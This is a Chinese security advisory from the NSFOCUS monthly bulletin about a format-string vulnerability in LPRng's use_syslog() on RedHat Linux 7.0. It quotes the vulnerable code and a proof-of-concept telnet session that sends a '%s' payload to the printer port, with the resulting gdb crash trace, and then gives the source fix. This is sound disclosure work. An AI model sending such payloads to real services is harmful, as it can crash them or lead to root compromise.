绿盟安全月刊->第14期->最新漏洞 RedHat LPRng格式化串漏洞

日期：2000-10-07

受影响的系统:  
RedHat Linux 7.0
描述:
--------------------------------------------------------------------------------

LPRng 是 Berkeley lpr 打印工具的一个实现。它的编程实现中有一个函
数 use_syslog()，这个函数把用户的输入作为一个格式化串传给syslog()
函数。结果是，可以通过输入一个恶意的格式化串来毁坏程序执行流程。
在测试中，这个漏洞可被利用来远程提高用户权限。

有问题的代码部分在：

/LPRng-3.6.22/src/common/errormsg.c, use_syslog()
---
static void use_syslog(int kind, char *msg)
...
# ifdef HAVE_OPENLOG
        /* use the openlog facility */
        openlog(Name, LOG_PID | LOG_NOWAIT, SYSLOG_FACILITY );
        syslog(kind, msg);
        closelog();

# else
    (void) syslog(SYSLOG_FACILITY | kind, msg);
# endif                                                 /* HAVE_OPENLOG */
...
  
<* 来源：Chris Evans (chris@scary.beasts.org) *>





测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！



Client:
[chris@localhost chris]$ telnet localhost printer
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
%s%s%s%s%s%s%s%s%s%s

Server:
Program received signal SIGSEGV, Segmentation fault.
0x400f7c66 in _IO_vfprintf (s=0x80c53a0,
    format=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed0c) at
../sysdeps/i386/i486/bits/string.h:529
(gdb) bt
#0  0x400f7c66 in _IO_vfprintf (s=0x80c53a0,
    format=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s^M'", ap=0xbfffed0c) at
../sysdeps/i386/i486/bits/string.h:529
#1  0x4017d60b in vsyslog (pri=6,
    fmt=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s'", ap=0xbfffed08) at syslog.c:193
#2  0x4017d447 in syslog (pri=6,
    fmt=0xbffff190 "Dispatch_input: bad request line
'%s%s%s%s%s%s%s%s%s%s^M'")
    at syslog.c:102
...

此时，程序还没有丢弃root权限;

(gdb) print geteuid()
$1 = 4                   <-- initially encouraging
(gdb) print getuid()
$2 = 0                   <-- depressing



--------------------------------------------------------------------------------
建议:

临时解决办法：

NSFOCUS建议您修改源码，增加"%s"选项，如下所示：
     syslog(kind, msg);
---> syslog(kind, "%s", msg);

     (void) syslog(SYSLOG_FACILITY | kind, msg);
---> (void) syslog(SYSLOG_FACILITY | kind, "%s", msg);
然后重新编译。
您也可以停止此服务或在防火墙上过滤掉打印服务端口。

厂商补丁：

暂无